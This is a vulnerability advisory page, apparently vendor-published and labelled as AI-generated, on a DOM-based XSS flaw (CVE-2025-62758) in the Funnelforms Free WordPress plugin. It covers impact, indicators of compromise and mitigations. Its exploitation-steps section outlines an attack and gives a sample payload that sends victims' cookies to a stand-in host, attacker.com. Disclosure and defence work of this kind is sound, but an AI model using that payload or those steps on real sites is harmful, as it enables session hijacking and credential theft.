CVE-2025-62758
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-62758 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the Funnelforms Free WordPress plugin, affecting all versions through 3.8. It was reported by researcher Muhammad Yudha - DJ on October 24, 2025, and publicly disclosed by Patchstack on December 31, 2025. The vulnerability carries a CVSS v3.1 base score of 6.5 (Medium), assigned by Patchstack (Patchstack).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and manifests as a DOM-Based XSS flaw, meaning malicious script execution occurs client-side through manipulation of the DOM environment rather than server-side reflection. Exploitation requires an authenticated attacker with at least Contributor or Developer-level privileges on the WordPress site, and also requires a privileged user to perform an action such as clicking a malicious link or visiting a crafted page. No detailed technical write-up or public proof-of-concept code has been published beyond the Patchstack advisory (Patchstack).

Impact

Successful exploitation allows an authenticated attacker to inject and execute malicious JavaScript in the browsers of other users visiting the affected WordPress site, potentially enabling session hijacking, credential theft, unauthorized redirects, or delivery of malicious payloads to site visitors. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the plugin itself to affect other components, such as the browser session of victim users. Confidentiality, integrity, and availability impacts are each rated Low, reflecting limited but real risk to affected users (Patchstack).

Exploitability

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-62758. The EPSS score is approximately 0.033% (0.000330), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack rates this as low priority and notes it is unlikely to be exploited, though XSS vulnerabilities in WordPress plugins are sometimes leveraged in mass-exploit campaigns (Patchstack).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Funnelforms Free plugin version 3.8 or earlier using tools like WPScan or by inspecting plugin directories.
  2. Obtain low-privilege access: Acquire or register a Contributor or Developer account on the target WordPress site.
  3. Craft malicious payload: Prepare a DOM-Based XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) designed to be injected through a vulnerable input field handled by the Funnelforms Free plugin.
  4. Inject payload: Submit the crafted payload via a form or parameter processed by the vulnerable plugin functionality.
  5. Trigger execution: Induce a privileged user (e.g., administrator) to visit the page or interact with the crafted content, causing the malicious script to execute in their browser.
  6. Achieve objective: Harvest session cookies, redirect the victim, or perform unauthorized actions on behalf of the victim user (Patchstack).

Indicators of compromise

  • Logs: WordPress access logs showing unusual POST or GET requests to Funnelforms Free plugin endpoints with encoded or obfuscated JavaScript payloads in parameters.
  • Network: Outbound browser requests from victim users to unknown external domains shortly after interacting with Funnelforms-related pages (potential data exfiltration via XSS).
  • File System: Unexpected modifications to plugin files or injection of script tags into WordPress database content associated with Funnelforms Free forms.
  • Process/Behavior: Unusual JavaScript execution in admin browser sessions, unexpected redirects, or new admin accounts created without authorization following interaction with Funnelforms content.

Mitigation and workarounds

As of the disclosure date, no official patched version was listed by Patchstack; administrators should monitor the WordPress plugin repository for an update beyond version 3.8 and apply it immediately when available. In the interim, disabling or removing the Funnelforms Free plugin is the most effective workaround to eliminate exposure. Access to Contributor and Developer roles should be restricted to trusted users only, reducing the pool of potential attackers. Web application firewalls (WAFs) with XSS filtering rules, such as those offered by Patchstack or Wordfence, can provide virtual patching as a temporary mitigation (Patchstack).

Community reactions

Wordfence included CVE-2025-62758 in its weekly WordPress vulnerability report covering December 15, 2025 to January 4, 2026, indicating routine tracking by the WordPress security community (Wordfence). The vulnerability received standard automated coverage from vulnerability aggregators and security feeds, with no notable researcher commentary or significant social media discussion beyond routine CVE publication notices.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-77115HIGH7.1
  • brave-popup-builder
NoYesAug 23, 2026
CVE-2026-77116MEDIUM4.3
  • brave-popup-builder
NoYesAug 23, 2026
CVE-2026-14853MEDIUM4.3
  • woocommerce-bookings
NoYesAug 23, 2026
CVE-2026-77003LOW2.7
  • content-mask
NoYesAug 23, 2026
CVE-2026-13598NONEN/A
  • restrictmate
NoYesAug 23, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management